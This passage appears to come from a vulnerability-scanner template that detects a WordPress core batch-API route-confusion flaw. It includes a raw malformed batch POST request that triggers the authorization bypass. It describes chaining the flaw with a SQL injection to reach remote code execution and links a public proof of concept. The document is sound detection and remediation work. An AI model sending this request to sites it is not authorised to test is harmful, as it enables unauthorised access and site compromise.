A malformed nested batch request desynchronizes the batch router, allowing unauthenticated requests to reach unintended REST API handlers and bypass authorization checks. This route confusion can be chained with a SQL injection flaw (CVE-2026-60137) in the author_exclude parameter to extract database contents and ultimately achieve remote code execution. This template safely detects the vulnerable handler state via the route confusion behavior alone, without executing SQL or relying on response timing.\n  impact: |\n    The route confusion allows unauthenticated requests to reach REST API handlers they should not be able to access. When chained with the associated SQL injection, an unauthenticated attacker can read the entire WordPress database (including user credential hashes) and escalate to full site compromise and remote code execution.\n  remediation: |\n    Update WordPress immediately to version 6.9.5 or 7.0.2. As a temporary mitigation, block POST requests to /wp-json/batch/v1 and /?rest_route=/batch/v1 at the WAF or reverse proxy level.\n  reference:\n    - https://github.com/WordPress/wordpress-develop/security/advisories/GHSA-ff9f-jf42-662q\n    - https://github.com/WordPress/wordpress-develop/security/advisories/GHSA-fpp7-x2x2-2mjf\n    - https://slcyber.io/research-center/wp2shell-pre-authentication-rce-in-wordpress-core\n    - https://www.aikido.dev/blog/unauthenticated-rce-in-wordpress-wp2shell\n    - https://wordpress.org/news/2026/07/wordpress-7-0-2-release/\n    - https://github.com/sergiointel/wp2shell-poc/\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H\n    cvss-score: 9.8\n    cve-id: CVE-2026-63030\n    epss-score: 0.97271\n    epss-percentile: 0.99893\n    cwe-id: CWE-287\n  metadata:\n    verified: true\n    max-request: 2\n    vendor: wordpress\n    product: wordpress\n    framework: wordpress\n    shodan-query: http.component:\"wordpress\"\n    fofa-query: app=\"WordPress\"\n  tags: cve,cve2026,wordpress,wp-core,preauth,batch-api,route-confusion,vkev,kev\n\nflow: http(1) && http(2)\n\nhttp:\n  # Step 1: Confirm the target is a WordPress site before probing the batch endpoint\n  - method: GET\n    path:\n      - \"{{BaseURL}}\"\n\n    matchers:\n      - type: dsl\n        dsl:\n          - 'contains(body, \"wp-content\") || contains(body, \"wp-includes\") || contains(tolower(header), \"rest_route\") || contains(tolower(header), \"wp-json\")'\n        internal: true\n\n  # Step 2: Safe route-confusion detection (no SQL execution, no timing oracle)\n  - raw:\n      - |\n        POST /?rest_route=/batch/v1 HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: application/json\n\n        {\"requests\":[{\"method\":\"POST\",\"path\":\"///\"},{\"method\":\"POST\",\"path\":\"/wp/v2/posts\"},{\"method\":\"POST\",\"path\":\"/wp/v2/block-renderer/core/archives\"},{\"method\":\"POST\",\"path\":\"/batch/v1\",\"body\":{\"requests\":[]}}]}\n\n    matchers-condition: and\n    matchers:\n      - type: word\n        part: body\n        words:\n          - \"parse_path_failed\"\n          - \"block_cannot_read\"\n          - \"rest_batch_not_allowed\"\n        condition: and\n\n      - type: word\n        part: content_type\n        words:\n          - \"application/json\"\n\n      - type: status\n        status:\n          - 207\n# digest: 4a0a00473045022001dd696a9764a36252b8466f2f40a0810a6008ec511a91b064312653974934b9022100bf1527871315b933699f7e1f0b8b153875c887d995c4a3ed5d9d232e782951d0:922c64590222798bb761d5b6d8e72950"
